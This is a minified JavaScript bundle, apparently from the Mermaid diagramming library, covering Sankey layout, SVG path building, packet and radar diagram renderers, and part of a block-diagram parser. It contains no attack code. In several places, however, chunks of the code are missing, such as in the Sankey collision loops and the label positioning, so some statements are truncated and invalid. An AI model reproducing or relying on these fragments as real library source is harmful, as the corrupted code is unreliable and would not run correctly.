O={nodes:d.apply(null,arguments),links:p.apply(null,arguments)};return y(O),v(O),x(O),b(O),w(O),Exe(O),O}o(g,"sankey"),g.update=function(O){return Exe(O),O},g.nodeId=function(O){return arguments.length?(l=typeof O=="function"?O:my(O),g):l},g.nodeAlign=function(O){return arguments.length?(u=typeof O=="function"?O:my(O),g):u},g.nodeSort=function(O){return arguments.length?(h=O,g):h},g.nodeWidth=function(O){return arguments.length?(i=+O,g):i},g.nodePadding=function(O){return arguments.length?(a=s=+O,g):a},g.nodes=function(O){return arguments.length?(d=typeof O=="function"?O:my(O),g):d},g.links=function(O){return arguments.length?(p=typeof O=="function"?O:my(O),g):p},g.linkSort=function(O){return arguments.length?(f=O,g):f},g.size=function(O){return arguments.length?(t=e=0,r=+O[0],n=+O[1],g):[r-t,n-e]},g.extent=function(O){return arguments.length?(t=+O[0][0],r=+O[1][0],e=+O[0][1],n=+O[1][1],g):[[t,e],[r,n]]},g.iterations=function(O){return arguments.length?(m=+O,g):m};function y({nodes:O,links:M}){for(let[B,F]of O.entries())F.index=B,F.sourceLinks=[],F.targetLinks=[];let P=new Map(O.map((B,F)=>[l(B,F,O),B]));for(let[B,F]of M.entries()){F.index=B;let{source:G,target:$}=F;typeof G!="object"&&(G=F.source=kxe(P,G)),typeof $!="object"&&($=F.target=kxe(P,$)),G.sourceLinks.push(F),$.targetLinks.push(F)}if(f!=null)for(let{sourceLinks:B,targetLinks:F}of O)B.sort(f),F.sort(f)}o(y,"computeNodeLinks");function v({nodes:O}){for(let M of O)M.value=M.fixedValue===void 0?Math.max(py(M.sourceLinks,nz),py(M.targetLinks,nz)):M.fixedValue}o(v,"computeNodeValues");function x({nodes:O}){let M=O.length,P=new Set(O),B=new Set,F=0;for(;P.size;){for(let G of P){G.depth=F;for(let{target:$}of G.sourceLinks)B.add($)}if(++F>M)throw new Error("circular link");P=B,B=new Set}}o(x,"computeNodeDepths");function b({nodes:O}){let M=O.length,P=new Set(O),B=new Set,F=0;for(;P.size;){for(let G of P){G.height=F;for(let{source:$}of G.targetLinks)B.add($)}if(++F>M)throw new Error("circular link");P=B,B=new Set}}o(b,"computeNodeHeights");function T({nodes:O}){let M=_4(O,F=>F.depth)+1,P=(r-t-i)/(M-1),B=new Array(M);for(let F of O){let G=Math.max(0,Math.min(M-1,Math.floor(u.call(null,F,M))));F.layer=G,F.x0=t+G*P,F.x1=F.x0+i,B[G]?B[G].push(F):B[G]=[F]}if(h)for(let F of B)F.sort(h);return B}o(T,"computeNodeLayers");function S(O){let M=dy(O,P=>(n-e-(P.length-1)*s)/py(P,nz));for(let P of O){let B=e;for(let F of P){F.y0=B,F.y1=B+F.value*M,B=F.y1+s;for(let G of F.sourceLinks)G.width=G.value*M}B=(n-B+s)/(P.length+1);for(let F=0;FP.length)-1)),S(M);for(let P=0;P0))continue;let te=(U/j-$.y0)*M;$.y0+=te,$.y1+=te,L($)}h===void 0&&G.sort(SC),C(G,P)}}o(k,"relaxLeftToRight");function A(O,M,P){for(let B=O.length,F=B-2;F>=0;--F){let G=O[F];for(let $ of G){let U=0,j=0;for(let{target:Y,value:oe}of $.sourceLinks){let J=oe*(Y.layer-$.layer);U+=_($,Y)*J,j+=J}if(!(j>0))continue;let te=(U/j-$.y0)*M;$.y0+=te,$.y1+=te,L($)}h===void 0&&G.sort(SC),C(G,P)}}o(A,"relaxRightToLeft");function C(O,M){let P=O.length>>1,B=O[P];I(O,B.y0-s,P-1,M),R(O,B.y1+s,P+1,M),I(O,n,O.length-1,M),R(O,e,0,M)}o(C,"resolveCollisions");function R(O,M,P,B){for(;P1e-6&&(F.y0+=G,F.y1+=G),M=F.y1+s}}o(R,"resolveCollisionsTopToBottom");function I(O,M,P,B){for(;P>=0;--P){let F=O[P],G=(F.y1-M)*B;G>1e-6&&(F.y0-=G,F.y1-=G),M=F.y0-s}}o(I,"resolveCollisionsBottomToTop");function L({sourceLinks:O,targetLinks:M}){if(f===void 0){for(let{source:{sourceLinks:P}}of M)P.sort(wxe);for(let{target:{targetLinks:P}}of O)P.sort(Txe)}}o(L,"reorderNodeLinks");function E(O){if(f===void 0)for(let{sourceLinks:M,targetLinks:P}of O)M.sort(wxe),P.sort(Txe)}o(E,"reorderLinks");function D(O,M){let P=O.y0-(O.sourceLinks.length-1)*s/2;for(let{target:B,width:F}of O.sourceLinks){if(B===M)break;P+=F+s}for(let{source:B,width:F}of M.targetLinks){if(B===O)break;P-=F}return P}o(D,"targetTop");function _(O,M){let P=M.y0-(M.targetLinks.length-1)*s/2;for(let{source:B,width:F}of M.targetLinks){if(B===O)break;P+=F+s}for(let{target:B,width:F}of O.sourceLinks){if(B===M)break;P-=F}return P}return o(_,"sourceTop"),g}var Sxe=N(()=>{"use strict";Z$();rz();bxe();o(Txe,"ascendingSourceBreadth");o(wxe,"ascendingTargetBreadth");o(SC,"ascendingBreadth");o(nz,"value");o(art,"defaultId");o(srt,"defaultNodes");o(ort,"defaultLinks");o(kxe,"find");o(Exe,"computeLinkBreadths");o(CC,"Sankey")});function sz(){this._x0=this._y0=this._x1=this._y1=null,this._=""}function Cxe(){return new sz}var iz,az,f0,lrt,oz,Axe=N(()=>{"use strict";iz=Math.PI,az=2*iz,f0=1e-6,lrt=az-f0;o(sz,"Path");o(Cxe,"path");sz.prototype=Cxe.prototype={constructor:sz,moveTo:o(function(t,e){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+e)},"moveTo"),closePath:o(function(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._+="Z")},"closePath"),lineTo:o(function(t,e){this._+="L"+(this._x1=+t)+","+(this._y1=+e)},"lineTo"),quadraticCurveTo:o(function(t,e,r,n){this._+="Q"+ +t+","+ +e+","+(this._x1=+r)+","+(this._y1=+n)},"quadraticCurveTo"),bezierCurveTo:o(function(t,e,r,n,i,a){this._+="C"+ +t+","+ +e+","+ +r+","+ +n+","+(this._x1=+i)+","+(this._y1=+a)},"bezierCurveTo"),arcTo:o(function(t,e,r,n,i){t=+t,e=+e,r=+r,n=+n,i=+i;var a=this._x1,s=this._y1,l=r-t,u=n-e,h=a-t,f=s-e,d=h*h+f*f;if(i<0)throw new Error("negative radius: "+i);if(this._x1===null)this._+="M"+(this._x1=t)+","+(this._y1=e);else if(d>f0)if(!(Math.abs(f*l-u*h)>f0)||!i)this._+="L"+(this._x1=t)+","+(this._y1=e);else{var p=r-a,m=n-s,g=l*l+u*u,y=p*p+m*m,v=Math.sqrt(g),x=Math.sqrt(d),b=i*Math.tan((iz-Math.acos((g+d-y)/(2*v*x)))/2),T=b/x,S=b/v;Math.abs(T-1)>f0&&(this._+="L"+(t+T*h)+","+(e+T*f)),this._+="A"+i+","+i+",0,0,"+ +(f*p>h*m)+","+(this._x1=t+S*l)+","+(this._y1=e+S*u)}},"arcTo"),arc:o(function(t,e,r,n,i,a){t=+t,e=+e,r=+r,a=!!a;var s=r*Math.cos(n),l=r*Math.sin(n),u=t+s,h=e+l,f=1^a,d=a?n-i:i-n;if(r<0)throw new Error("negative radius: "+r);this._x1===null?this._+="M"+u+","+h:(Math.abs(this._x1-u)>f0||Math.abs(this._y1-h)>f0)&&(this._+="L"+u+","+h),r&&(d<0&&(d=d%az+az),d>lrt?this._+="A"+r+","+r+",0,1,"+f+","+(t-s)+","+(e-l)+"A"+r+","+r+",0,1,"+f+","+(this._x1=u)+","+(this._y1=h):d>f0&&(this._+="A"+r+","+r+",0,"+ +(d>=iz)+","+f+","+(this._x1=t+r*Math.cos(i))+","+(this._y1=e+r*Math.sin(i))))},"arc"),rect:o(function(t,e,r,n){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+e)+"h"+ +r+"v"+ +n+"h"+-r+"Z"},"rect"),toString:o(function(){return this._},"toString")};oz=Cxe});var _xe=N(()=>{"use strict";Axe()});function AC(t){return o(function(){return t},"constant")}var Dxe=N(()=>{"use strict";o(AC,"default")});function Lxe(t){return t[0]}function Rxe(t){return t[1]}var Nxe=N(()=>{"use strict";o(Lxe,"x");o(Rxe,"y")});var Mxe,Ixe=N(()=>{"use strict";Mxe=Array.prototype.slice});function crt(t){return t.source}function urt(t){return t.target}function hrt(t){var e=crt,r=urt,n=Lxe,i=Rxe,a=null;function s(){var l,u=Mxe.call(arguments),h=e.apply(this,u),f=r.apply(this,u);if(a||(a=l=oz()),t(a,+n.apply(this,(u[0]=h,u)),+i.apply(this,u),+n.apply(this,(u[0]=f,u)),+i.apply(this,u)),l)return a=null,l+""||null}return o(s,"link"),s.source=function(l){return arguments.length?(e=l,s):e},s.target=function(l){return arguments.length?(r=l,s):r},s.x=function(l){return arguments.length?(n=typeof l=="function"?l:AC(+l),s):n},s.y=function(l){return arguments.length?(i=typeof l=="function"?l:AC(+l),s):i},s.context=function(l){return arguments.length?(a=l??null,s):a},s}function frt(t,e,r,n,i){t.moveTo(e,r),t.bezierCurveTo(e=(e+n)/2,r,e,i,n,i)}function lz(){return hrt(frt)}var Oxe=N(()=>{"use strict";_xe();Ixe();Dxe();Nxe();o(crt,"linkSource");o(urt,"linkTarget");o(hrt,"link");o(frt,"curveHorizontal");o(lz,"linkHorizontal")});var Pxe=N(()=>{"use strict";Oxe()});function drt(t){return[t.source.x1,t.y0]}function prt(t){return[t.target.x0,t.y1]}function _C(){return lz().source(drt).target(prt)}var Bxe=N(()=>{"use strict";Pxe();o(drt,"horizontalSource");o(prt,"horizontalTarget");o(_C,"default")});var Fxe=N(()=>{"use strict";Sxe();rz();Bxe()});var L4,$xe=N(()=>{"use strict";L4=class t{static{o(this,"Uid")}static{this.count=0}static next(e){return new t(e+ ++t.count)}constructor(e){this.id=e,this.href=`#${e}`}toString(){return"url("+this.href+")"}}});var mrt,grt,zxe,Gxe=N(()=>{"use strict";Xt();yr();Fxe();Ei();$xe();mrt={left:J$,right:ez,center:tz,justify:D4},grt=o(function(t,e,r,n){let{securityLevel:i,sankey:a}=ge(),s=G3.sankey,l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body"),h=i==="sandbox"?u.select(`[id="${e}"]`):qe(`[id="${e}"]`),f=a?.width??s.width,d=a?.height??s.width,p=a?.useMaxWidth??s.useMaxWidth,m=a?.nodeAlignment??s.nodeAlignment,g=a?.prefix??s.prefix,y=a?.suffix??s.suffix,v=a?.showValues??s.showValues,x=n.db.getGraph(),b=mrt[m];CC().nodeId(I=>I.id).nodeWidth(10).nodePadding(10+(v?15:0)).nodeAlign(b).extent([[0,0],[f,d]])(x);let w=no(YD);h.append("g").attr("class","nodes").selectAll(".node").data(x.nodes).join("g").attr("class","node").attr("id",I=>(I.uid=L4.next("node-")).id).attr("transform",function(I){return"translate("+I.x0+","+I.y0+")"}).attr("x",I=>I.x0).attr("y",I=>I.y0).append("rect").attr("height",I=>I.y1-I.y0).attr("width",I=>I.x1-I.x0).attr("fill",I=>w(I.id));let k=o(({id:I,value:L})=>v?`${I} +${g}${Math.round(L*100)/100}${y}`:I,"getText");h.append("g").attr("class","node-labels").attr("font-size",14).selectAll("text").data(x.nodes).join("text").attr("x",I=>I.x0(I.y1+I.y0)/2).attr("dy",`${v?"0":"0.35"}em`).attr("text-anchor",I=>I.x0(L.uid=L4.next("linearGradient-")).id).attr("gradientUnits","userSpaceOnUse").attr("x1",L=>L.source.x1).attr("x2",L=>L.target.x0);I.append("stop").attr("offset","0%").attr("stop-color",L=>w(L.source.id)),I.append("stop").attr("offset","100%").attr("stop-color",L=>w(L.target.id))}let R;switch(C){case"gradient":R=o(I=>I.uid,"coloring");break;case"source":R=o(I=>w(I.source.id),"coloring");break;case"target":R=o(I=>w(I.target.id),"coloring");break;default:R=C}A.append("path").attr("d",_C()).attr("stroke",R).attr("stroke-width",I=>Math.max(1,I.width)),ic(void 0,h,0,p)},"draw"),zxe={draw:grt}});var Vxe,Uxe=N(()=>{"use strict";Vxe=o(t=>t.replaceAll(/^[^\S\n\r]+|[^\S\n\r]+$/g,"").replaceAll(/([\n\r])+/g,` +`).trim(),"prepareTextForParsing")});var yrt,Hxe,qxe=N(()=>{"use strict";yrt=o(t=>`.label { + font-family: ${t.fontFamily}; + }`,"getStyles"),Hxe=yrt});var Wxe={};dr(Wxe,{diagram:()=>xrt});var vrt,xrt,Yxe=N(()=>{"use strict";pxe();gxe();Gxe();Uxe();qxe();vrt=A4.parse.bind(A4);A4.parse=t=>vrt(Vxe(t));xrt={styles:Hxe,parser:A4,db:mxe,renderer:zxe}});var krt,gy,cz=N(()=>{"use strict";qn();La();tr();ci();krt=ur.packet,gy=class{constructor(){this.packet=[];this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir}static{o(this,"PacketDB")}getConfig(){let e=Vn({...krt,...Qt().packet});return e.showBits&&(e.paddingY+=10),e}getPacket(){return this.packet}pushWord(e){e.length>0&&this.packet.push(e)}clear(){Sr(),this.packet=[]}}});var Ert,Srt,Crt,uz,Kxe=N(()=>{"use strict";Uf();pt();r0();cz();Ert=1e4,Srt=o((t,e)=>{nl(t,e);let r=-1,n=[],i=1,{bitsPerRow:a}=e.getConfig();for(let{start:s,end:l,bits:u,label:h}of t.blocks){if(s!==void 0&&l!==void 0&&l{if(t.start===void 0)throw new Error("start should have been set during first phase");if(t.end===void 0)throw new Error("end should have been set during first phase");if(t.start>t.end)throw new Error(`Block start ${t.start} is greater than block end ${t.end}.`);if(t.end+1<=e*r)return[t,void 0];let n=e*r-1,i=e*r;return[{start:t.start,end:n,label:t.label,bits:n-t.start},{start:i,end:t.end,label:t.label,bits:t.end-i}]},"getNextFittingBlock"),uz={parser:{yy:void 0},parse:o(async t=>{let e=await bs("packet",t),r=uz.parser?.yy;if(!(r instanceof gy))throw new Error("parser.parser?.yy was not a PacketDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");X.debug(e),Srt(e,r)},"parse")}});var Art,_rt,Qxe,Zxe=N(()=>{"use strict";tu();Ei();Art=o((t,e,r,n)=>{let i=n.db,a=i.getConfig(),{rowHeight:s,paddingY:l,bitWidth:u,bitsPerRow:h}=a,f=i.getPacket(),d=i.getDiagramTitle(),p=s+l,m=p*(f.length+1)-(d?0:s),g=u*h+2,y=aa(e);y.attr("viewbox",`0 0 ${g} ${m}`),mn(y,m,g,a.useMaxWidth);for(let[v,x]of f.entries())_rt(y,x,v,a);y.append("text").text(d).attr("x",g/2).attr("y",m-p/2).attr("dominant-baseline","middle").attr("text-anchor","middle").attr("class","packetTitle")},"draw"),_rt=o((t,e,r,{rowHeight:n,paddingX:i,paddingY:a,bitWidth:s,bitsPerRow:l,showBits:u})=>{let h=t.append("g"),f=r*(n+a)+a;for(let d of e){let p=d.start%l*s+1,m=(d.end-d.start+1)*s-i;if(h.append("rect").attr("x",p).attr("y",f).attr("width",m).attr("height",n).attr("class","packetBlock"),h.append("text").attr("x",p+m/2).attr("y",f+n/2).attr("class","packetLabel").attr("dominant-baseline","middle").attr("text-anchor","middle").text(d.label),!u)continue;let g=d.end===d.start,y=f-2;h.append("text").attr("x",p+(g?m/2:0)).attr("y",y).attr("class","packetByte start").attr("dominant-baseline","auto").attr("text-anchor",g?"middle":"start").text(d.start),g||h.append("text").attr("x",p+m).attr("y",y).attr("class","packetByte end").attr("dominant-baseline","auto").attr("text-anchor","end").text(d.end)}},"drawWord"),Qxe={draw:Art}});var Drt,Jxe,ebe=N(()=>{"use strict";tr();Drt={byteFontSize:"10px",startByteColor:"black",endByteColor:"black",labelColor:"black",labelFontSize:"12px",titleColor:"black",titleFontSize:"14px",blockStrokeColor:"black",blockStrokeWidth:"1",blockFillColor:"#efefef"},Jxe=o(({packet:t}={})=>{let e=Vn(Drt,t);return` + .packetByte { + font-size: ${e.byteFontSize}; + } + .packetByte.start { + fill: ${e.startByteColor}; + } + .packetByte.end { + fill: ${e.endByteColor}; + } + .packetLabel { + fill: ${e.labelColor}; + font-size: ${e.labelFontSize}; + } + .packetTitle { + fill: ${e.titleColor}; + font-size: ${e.titleFontSize}; + } + .packetBlock { + stroke: ${e.blockStrokeColor}; + stroke-width: ${e.blockStrokeWidth}; + fill: ${e.blockFillColor}; + } + `},"styles")});var tbe={};dr(tbe,{diagram:()=>Lrt});var Lrt,rbe=N(()=>{"use strict";cz();Kxe();Zxe();ebe();Lrt={parser:uz,get db(){return new gy},renderer:Qxe,styles:Jxe}});var yy,abe,d0,Mrt,Irt,sbe,Ort,Prt,Brt,Frt,$rt,zrt,Grt,p0,hz=N(()=>{"use strict";qn();La();tr();ci();yy={showLegend:!0,ticks:5,max:null,min:0,graticule:"circle"},abe={axes:[],curves:[],options:yy},d0=structuredClone(abe),Mrt=ur.radar,Irt=o(()=>Vn({...Mrt,...Qt().radar}),"getConfig"),sbe=o(()=>d0.axes,"getAxes"),Ort=o(()=>d0.curves,"getCurves"),Prt=o(()=>d0.options,"getOptions"),Brt=o(t=>{d0.axes=t.map(e=>({name:e.name,label:e.label??e.name}))},"setAxes"),Frt=o(t=>{d0.curves=t.map(e=>({name:e.name,label:e.label??e.name,entries:$rt(e.entries)}))},"setCurves"),$rt=o(t=>{if(t[0].axis==null)return t.map(r=>r.value);let e=sbe();if(e.length===0)throw new Error("Axes must be populated before curves for reference entries");return e.map(r=>{let n=t.find(i=>i.axis?.$refText===r.name);if(n===void 0)throw new Error("Missing entry for axis "+r.label);return n.value})},"computeCurveEntries"),zrt=o(t=>{let e=t.reduce((r,n)=>(r[n.name]=n,r),{});d0.options={showLegend:e.showLegend?.value??yy.showLegend,ticks:e.ticks?.value??yy.ticks,max:e.max?.value??yy.max,min:e.min?.value??yy.min,graticule:e.graticule?.value??yy.graticule}},"setOptions"),Grt=o(()=>{Sr(),d0=structuredClone(abe)},"clear"),p0={getAxes:sbe,getCurves:Ort,getOptions:Prt,setAxes:Brt,setCurves:Frt,setOptions:zrt,getConfig:Irt,clear:Grt,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir}});var Vrt,obe,lbe=N(()=>{"use strict";Uf();pt();r0();hz();Vrt=o(t=>{nl(t,p0);let{axes:e,curves:r,options:n}=t;p0.setAxes(e),p0.setCurves(r),p0.setOptions(n)},"populate"),obe={parse:o(async t=>{let e=await bs("radar",t);X.debug(e),Vrt(e)},"parse")}});function Yrt(t,e,r,n,i,a,s){let l=e.length,u=Math.min(s.width,s.height)/2;r.forEach((h,f)=>{if(h.entries.length!==l)return;let d=h.entries.map((p,m)=>{let g=2*Math.PI*m/l-Math.PI/2,y=Xrt(p,n,i,u),v=y*Math.cos(g),x=y*Math.sin(g);return{x:v,y:x}});a==="circle"?t.append("path").attr("d",jrt(d,s.curveTension)).attr("class",`radarCurve-${f}`):a==="polygon"&&t.append("polygon").attr("points",d.map(p=>`${p.x},${p.y}`).join(" ")).attr("class",`radarCurve-${f}`)})}function Xrt(t,e,r,n){let i=Math.min(Math.max(t,e),r);return n*(i-e)/(r-e)}function jrt(t,e){let r=t.length,n=`M${t[0].x},${t[0].y}`;for(let i=0;i{let h=t.append("g").attr("transform",`translate(${i}, ${a+u*s})`);h.append("rect").attr("width",12).attr("height",12).attr("class",`radarLegendBox-${u}`),h.append("text").attr("x",16).attr("y",0).attr("class","radarLegendText").text(l.label)})}var Urt,Hrt,qrt,Wrt,cbe,ube=N(()=>{"use strict";tu();Urt=o((t,e,r,n)=>{let i=n.db,a=i.getAxes(),s=i.getCurves(),l=i.getOptions(),u=i.getConfig(),h=i.getDiagramTitle(),f=aa(e),d=Hrt(f,u),p=l.max??Math.max(...s.map(y=>Math.max(...y.entries))),m=l.min,g=Math.min(u.width,u.height)/2;qrt(d,a,g,l.ticks,l.graticule),Wrt(d,a,g,u),Yrt(d,a,s,m,p,l.graticule,u),Krt(d,s,l.showLegend,u),d.append("text").attr("class","radarTitle").text(h).attr("x",0).attr("y",-u.height/2-u.marginTop)},"draw"),Hrt=o((t,e)=>{let r=e.width+e.marginLeft+e.marginRight,n=e.height+e.marginTop+e.marginBottom,i={x:e.marginLeft+e.width/2,y:e.marginTop+e.height/2};return t.attr("viewbox",`0 0 ${r} ${n}`).attr("width",r).attr("height",n),t.append("g").attr("transform",`translate(${i.x}, ${i.y})`)},"drawFrame"),qrt=o((t,e,r,n,i)=>{if(i==="circle")for(let a=0;a{let d=2*f*Math.PI/a-Math.PI/2,p=l*Math.cos(d),m=l*Math.sin(d);return`${p},${m}`}).join(" ");t.append("polygon").attr("points",u).attr("class","radarGraticule")}}},"drawGraticule"),Wrt=o((t,e,r,n)=>{let i=e.length;for(let a=0;a{"use strict";tr();Oy();qn();Qrt=o((t,e)=>{let r="";for(let n=0;n{let e=mh(),r=Qt(),n=Vn(e,r.themeVariables),i=Vn(n.radar,t);return{themeVariables:n,radarOptions:i}},"buildRadarStyleOptions"),hbe=o(({radar:t}={})=>{let{themeVariables:e,radarOptions:r}=Zrt(t);return` + .radarTitle { + font-size: ${e.fontSize}; + color: ${e.titleColor}; + dominant-baseline: hanging; + text-anchor: middle; + } + .radarAxisLine { + stroke: ${r.axisColor}; + stroke-width: ${r.axisStrokeWidth}; + } + .radarAxisLabel { + dominant-baseline: middle; + text-anchor: middle; + font-size: ${r.axisLabelFontSize}px; + color: ${r.axisColor}; + } + .radarGraticule { + fill: ${r.graticuleColor}; + fill-opacity: ${r.graticuleOpacity}; + stroke: ${r.graticuleColor}; + stroke-width: ${r.graticuleStrokeWidth}; + } + .radarLegendText { + text-anchor: start; + font-size: ${r.legendFontSize}px; + dominant-baseline: hanging; + } + ${Qrt(e,r)} + `},"styles")});var dbe={};dr(dbe,{diagram:()=>Jrt});var Jrt,pbe=N(()=>{"use strict";hz();lbe();ube();fbe();Jrt={parser:obe,db:p0,renderer:cbe,styles:hbe}});var fz,ybe,vbe=N(()=>{"use strict";fz=(function(){var t=o(function(T,S,w,k){for(w=w||{},k=T.length;k--;w[T[k]]=S);return w},"o"),e=[1,15],r=[1,7],n=[1,13],i=[1,14],a=[1,19],s=[1,16],l=[1,17],u=[1,18],h=[8,30],f=[8,10,21,28,29,30,31,39,43,46],d=[1,23],p=[1,24],m=[8,10,15,16,21,28,29,30,31,39,43,46],g=[8,10,15,16,21,27,28,29,30,31,39,43,46],y=[1,49],v={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,spaceLines:3,SPACELINE:4,NL:5,separator:6,SPACE:7,EOF:8,start:9,BLOCK_DIAGRAM_KEY:10,document:11,stop:12,statement:13,link:14,LINK:15,START_LINK:16,LINK_LABEL:17,STR:18,nodeStatement:19,columnsStatement:20,SPACE_BLOCK:21,blockStatement:22,classDefStatement:23,cssClassStatement:24,styleStatement:25,node:26,SIZE:27,COLUMNS:28,"id-block":29,end:30,NODE_ID:31,nodeShapeNLabel:32,dirList:33,DIR:34,NODE_DSTART:35,NODE_DEND:36,BLOCK_ARROW_START:37,BLOCK_ARROW_END:38,classDef:39,CLASSDEF_ID:40,CLASSDEF_STYLEOPTS:41,DEFAULT:42,class:43,CLASSENTITY_IDS:44,STYLECLASS:45,style:46,STYLE_ENTITY_IDS:47,STYLE_DEFINITION_DATA:48,$accept:0,$end:1},terminals_:{2:"error",4:"SPACELINE",5:"NL",7:"SPACE",8:"EOF",10:"BLOCK_DIAGRAM_KEY",15:"LINK",16:"START_LINK",17:"LINK_LABEL",18:"STR",21:"SPACE_BLOCK",27:"SIZE",28:"COLUMNS",29:"id-block",30:"end",31:"NODE_ID",34:"DIR",35:"NODE_DSTART",36:"NODE_DEND",37:"BLOCK_ARROW_START",38:"BLOCK_ARROW_END",39:"classDef",40:"CLASSDEF_ID",41:"CLASSDEF_STYLEOPTS",42:"DEFAULT",43:"class",44:"CLASSENTITY_IDS",45:"STYLECLASS",46:"style",47:"STYLE_ENTITY_IDS",48:"STYLE_DEFINITION_DATA"},productions_:[0,[3,1],[3,2],[3,2],[6,1],[6,1],[6,1],[9,3],[12,1],[12,1],[12,2],[12,2],[11,1],[11,2],[14,1],[14,4],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[19,3],[19,2],[19,1],[20,1],[22,4],[22,3],[26,1],[26,2],[33,1],[33,2],[32,3],[32,4],[23,3],[23,3],[24,3],[25,3]],performAction:o(function(S,w,k,A,C,R,I){var L=R.length-1;switch(C){case 4:A.getLogger().debug("Rule: separator (NL) ");break;case 5:A.getLogger().debug("Rule: separator (Space) ");break;case 6:A.getLogger().debug("Rule: separator (EOF) ");break;case 7:A.getLogger().debug("Rule: hierarchy: ",R[L-1]),A.setHierarchy(R[L-1]);break;case 8:A.getLogger().debug("Stop NL ");break;case 9:A.getLogger().debug("Stop EOF ");break;case 10:A.getLogger().debug("Stop NL2 ");break;case 11:A.getLogger().debug("Stop EOF2 ");break;case 12:A.getLogger().debug("Rule: statement: ",R[L]),typeof R[L].length=="number"?this.$=R[L]:this.$=[R[L]];break;case 13:A.getLogger().debug("Rule: statement #2: ",R[L-1]),this.$=[R[L-1]].concat(R[L]);break;case 14:A.getLogger().debug("Rule: link: ",R[L],S),this.$={edgeTypeStr:R[L],label:""};break;case 15:A.getLogger().debug("Rule: LABEL link: ",R[L-3],R[L-1],R[L]),this.$={edgeTypeStr:R[L],label:R[L-1]};break;case 18:let E=parseInt(R[L]),D=A.generateId();this.$={id:D,type:"space",label:"",width:E,children:[]};break;case 23:A.getLogger().debug("Rule: (nodeStatement link node) ",R[L-2],R[L-1],R[L]," typestr: ",R[L-1].edgeTypeStr);let _=A.edgeStrToEdgeData(R[L-1].edgeTypeStr);this.$=[{id:R[L-2].id,label:R[L-2].label,type:R[L-2].type,directions:R[L-2].directions},{id:R[L-2].id+"-"+R[L].id,start:R[L-2].id,end:R[L].id,label:R[L-1].label,type:"edge",directions:R[L].directions,arrowTypeEnd:_,arrowTypeStart:"arrow_open"},{id:R[L].id,label:R[L].label,type:A.typeStr2Type(R[L].typeStr),directions:R[L].directions}];break;case 24:A.getLogger().debug("Rule: nodeStatement (abc88 node size) ",R[L-1],R[L]),this.$={id:R[L-1].id,label:R[L-1].label,type:A.typeStr2Type(R[L-1].typeStr),directions:R[L-1].directions,widthInColumns:parseInt(R[L],10)};break;case 25:A.getLogger().debug("Rule: nodeStatement (node) ",R[L]),this.$={id:R[L].id,label:R[L].label,type:A.typeStr2Type(R[L].typeStr),directions:R[L].directions,widthInColumns:1};break;case 26:A.getLogger().debug("APA123",this?this:"na"),A.getLogger().debug("COLUMNS: ",R[L]),this.$={type:"column-setting",columns:R[L]==="auto"?-1:parseInt(R[L])};break;case 27:A.getLogger().debug("Rule: id-block statement : ",R[L-2],R[L-1]);let O=A.generateId();this.$={...R[L-2],type:"composite",children:R[L-1]};break;case 28:A.getLogger().debug("Rule: blockStatement : ",R[L-2],R[L-1],R[L]);let M=A.generateId();this.$={id:M,type:"composite",label:"",children:R[L-1]};break;case 29:A.getLogger().debug("Rule: node (NODE_ID separator): ",R[L]),this.$={id:R[L]};break;case 30:A.getLogger().debug("Rule: node (NODE_ID nodeShapeNLabel separator): ",R[L-1],R[L]),this.$={id:R[L-1],label:R[L].label,typeStr:R[L].typeStr,directions:R[L].directions};break;case 31:A.getLogger().debug("Rule: dirList: ",R[L]),this.$=[R[L]];break;case 32:A.getLogger().debug("Rule: dirList: ",R[L-1],R[L]),this.$=[R[L-1]].concat(R[L]);break;case 33:A.getLogger().debug("Rule: nodeShapeNLabel: ",R[L-2],R[L-1],R[L]),this.$={typeStr:R[L-2]+R[L],label:R[L-1]};break;case 34:A.getLogger().debug("Rule: BLOCK_ARROW nodeShapeNLabel: ",R[L-3],R[L-2]," #3:",R[L-1],R[L]),this.$={typeStr:R[L-3]+R[L],label:R[L-2],directions:R[L-1]};break;case 35:case 36:this.$={type:"classDef",id:R[L-1].trim(),css:R[L].trim()};break;case 37:this.$={type:"applyClass",id:R[L-1].trim(),styleClass:R[L].trim()};break;case 38:this.$={type:"applyStyles",id:R[L-1].trim(),stylesStr:R[L].trim()};break}},"anonymous"),table:[{9:1,10:[1,2]},{1:[3]},{10:e,11:3,13:4,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{8:[1,20]},t(h,[2,12],{13:4,19:5,20:6,22:8,23:9,24:10,25:11,26:12,11:21,10:e,21:r,28:n,29:i,31:a,39:s,43:l,46:u}),t(f,[2,16],{14:22,15:d,16:p}),t(f,[2,17]),t(f,[2,18]),t(f,[2,19]),t(f,[2,20]),t(f,[2,21]),t(f,[2,22]),t(m,[2,25],{27:[1,25]}),t(f,[2,26]),{19:26,26:12,31:a},{10:e,11:27,13:4,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{40:[1,28],42:[1,29]},{44:[1,30]},{47:[1,31]},t(g,[2,29],{32:32,35:[1,33],37:[1,34]}),{1:[2,7]},t(h,[2,13]),{26:35,31:a},{31:[2,14]},{17:[1,36]},t(m,[2,24]),{10:e,11:37,13:4,14:22,15:d,16:p,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{30:[1,38]},{41:[1,39]},{41:[1,40]},{45:[1,41]},{48:[1,42]},t(g,[2,30]),{18:[1,43]},{18:[1,44]},t(m,[2,23]),{18:[1,45]},{30:[1,46]},t(f,[2,28]),t(f,[2,35]),t(f,[2,36]),t(f,[2,37]),t(f,[2,38]),{36:[1,47]},{33:48,34:y},{15:[1,50]},t(f,[2,27]),t(g,[2,33]),{38:[1,51]},{33:52,34:y,38:[2,31]},{31:[2,15]},t(g,[2,34]),{38:[2,32]}],defaultActions:{20:[